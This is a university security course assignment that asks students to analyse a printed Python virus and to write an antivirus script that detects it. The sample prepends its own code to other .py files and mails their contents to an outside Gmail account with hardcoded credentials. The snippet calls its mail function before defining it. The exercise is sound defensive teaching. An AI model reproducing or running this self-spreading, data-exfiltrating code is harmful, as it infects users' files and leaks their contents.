Department of Computing
INFO3155
Information Assurance and Security

Please Format The Report according to specifications below!

This assignment is marked out of twenty **(20)** and accounts for **10%** of your final grade. The marks are distributed as follows:

- Question 1/ Mission 1 — **Examining the Virus (10 Marks)**
- Question 2/ Mission 2 — **Anti-Virus Script (6 Marks)**
- Report - Formatting specifications **(4 Marks)**

For **Question 1** Please ensure that the relevant information requested in the instructions section below are present in your report. The points below must be present in your report for the necessary marks to be granted.

Mission 1 — Examining the Virus (10 Marks)

- Infection vector — **(2 Marks)**
- Trigger — **(2 Marks)**
- Payload — **(2 Marks)**
- Virus Classifications — **(2 Marks)**
- The main purpose of the virus **— (1 Mark)**
- How did they infect our system? **— (1 Mark)**

For **Question 2** Be sure to explain the thought process going into your Anti-Virus script, what is it checking for and why and what technique you are using? These should all be included in your final report. Your code will be tested against files that are infected and files that are not, ensure you explain all the necessities for your code to run smoothy.

Mission 2 – Anti-Virus Script (6 Marks)

- Explain what markers you are looking for **(2 Marks)**
- Properly commented **(1 Marks)**
- The code just works **(3 Marks)**

Warning

Please note that the knowledge you obtain from this assignment and this course in general is purely for educational purposes the University of the West Indies is by no means encouraging nor equipping persons with this knowledge to do evil. Also note that there are severe penalties for illegally accessing and modify any computer system without authorization as stated in the Jamaica cybercrime act.

Instructions Mission 1

Agent we call on you again to help with what we see as a direct threat to our freedom and national security. We are grateful that you were able to uncover some of the attacker's plans and the means by which they communicate. However, they have recently recognized their biggest obstacles in their quest for evil, us! As a result, they have somehow infected our computer systems with an infectious virus that we only noticed by happenstance. We have attached the image of the malicious code to this document. Your first mission is to study the code and report to us on the following:

1. How is this thing spreading, we need to know how this virus has managed to move around our system so quickly?
2. What activates the malicious program and what can we do to stop it from being triggered.
3. What exactly is it doing to our system? We must know the damage it inflicts, so far, we are yet to identify any of the usual effects of malicious code. We can not be caught off guard. Find out what they are trying to accomplish with tis virus.

Instructions Mission 2

Unfortunately, we are not merely scholars, as a result we must find a way to fight this infection. The men up top wants us to create an antivirus script that can identify files infected with this virus. That should be a simple task for a master python programmer like you. In light of that fact, I will just cut the chatter and get to the meat of the matter and explain exactly how we want this detection script to work.

1. Your program must prompt the user to enter the path of a file they want to scan.
2. After examining the file, the program must out put infected or not infected.
3. You must explain in your report the markers you used to design the script.
4. You should also include the instructions for running your script successfully.

Virus Code!!!

```python
#qMeyivyOyh
import sys, glob, re, os, smtplib
add = "notdoinganythingwrong@gmail.com"
passs = "qMeyivyOyh"
vCode = []
fh = open(sys.argv[0], "r")
lines = fh.readlines()
fh.close()
inV = False
for line in lines:
    if(re.search('^#qMeyivyOyh',line)):
        inV = True
    if(inV):
        vCode.append(line)
    if(re.search('^#XNjklgrVtg',line)):
        break
#--
progs = glob.glob("*.py")
#--
for prog in progs:
    fh = open(prog, "r")
    pCode = fh.readlines()
    smpt(pCode)
    fh.close()
    infected = False
    for line in pCode:
        if('#qMeyivyOyh' in line):
            infected = True
            break
    if not infected:
        newCode = []
        if('#!' in pCode[0]):
            newCode.append(pCode.pop(0))
        newCode.extend(vCode)
        newCode.extend(pCode)
        #--
        fh = open(prog, 'w')
        fh.writelines(newCode)
        fh.close()
#--
def smpt(pgg):
    with smtplib.SMTP('smtp.gmail.com',587) as smtp:
        smtp.ehlo()
        smtp.starttls()
        smtp.ehlo()
        smtp.login(add,passs)
        msg = pgg
        smtp.sendmail("XNjklgrVtg",add,msg)
#XNjklgrVtg
```

Deliverables

1. Each person must submit exactly **1 WinRAR** (or just zipped) file containing the report and the Antivirus python program.
2. Ensure that the report contains your ID#

Formatting specifications (4 Marks)

Note – Submit only one report in PDF format with boteh questions.

1. Use 1″ margins on all sides.
2. Use only 12pt type in Times New Roman
3. Number your pages (the first page of text is page 1).
4. Always double-space.
5. Do not leave blank spaces between paragraphs.
6. Indent every paragraph.
7. Avoid very long (1 page) and very short (1-2 sentence) paragraphs.
8. Give your work an interesting and descriptive title.
9. Do not underline your own title.
10. Avoid slang expressions (e.g., ‘popped him one’).